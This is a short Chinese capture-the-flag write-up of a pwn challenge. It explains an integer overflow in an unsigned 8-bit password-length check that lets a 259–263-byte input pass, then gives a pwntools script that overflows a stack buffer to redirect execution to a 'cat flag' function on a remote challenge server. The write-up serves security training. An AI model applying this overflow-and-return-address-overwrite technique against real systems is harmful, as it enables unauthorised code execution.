0x0 程序保护和流程
保护:
![](https://img-blog.csdnimg.cn/20200506230715417.png)
流程:
main()
![](https://img-blog.csdnimg.cn/20200506230715407.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzg2ODcyNQ==,size_16,color_FFFFFF,t_70)
login()
![](https://img-blog.csdnimg.cn/20200506230715396.png)
check_passwd()
![](https://img-blog.csdnimg.cn/20200506230715386.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzg2ODcyNQ==,size_16,color_FFFFFF,t_70)
分析流程可知当我们输入的passwd的长度在3~7之间时可以将passwd复制到dest中。而用来储存passwd的长度的变量是无符号的int8。int8能储存的最大值是255。超过255就会回到0。
0x1 漏洞利用
根据判断可以将passwd的长度控制在259~263之间就可以完成利用了。程序还给我们提供了一个system(“cat flag”)
![](https://img-blog.csdnimg.cn/20200506230715409.png)
所以passwd=‘a’*(0x14+4)+p32(cat_flag_addr) passwd+=‘a’*(262-len(payload))就可以完成利用了。
0x2 exp
from pwn import *
cat_flag_addr=0x0804868B
#sh=process('./a')
sh=remote('124.126.19.106','31095')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('whitehand')
sh.recv()
payload='a'*(0x14+4)+p32(cat_flag_addr)
payload+='a'*(262-len(payload))
sh.sendline(payload)
sh.interactive()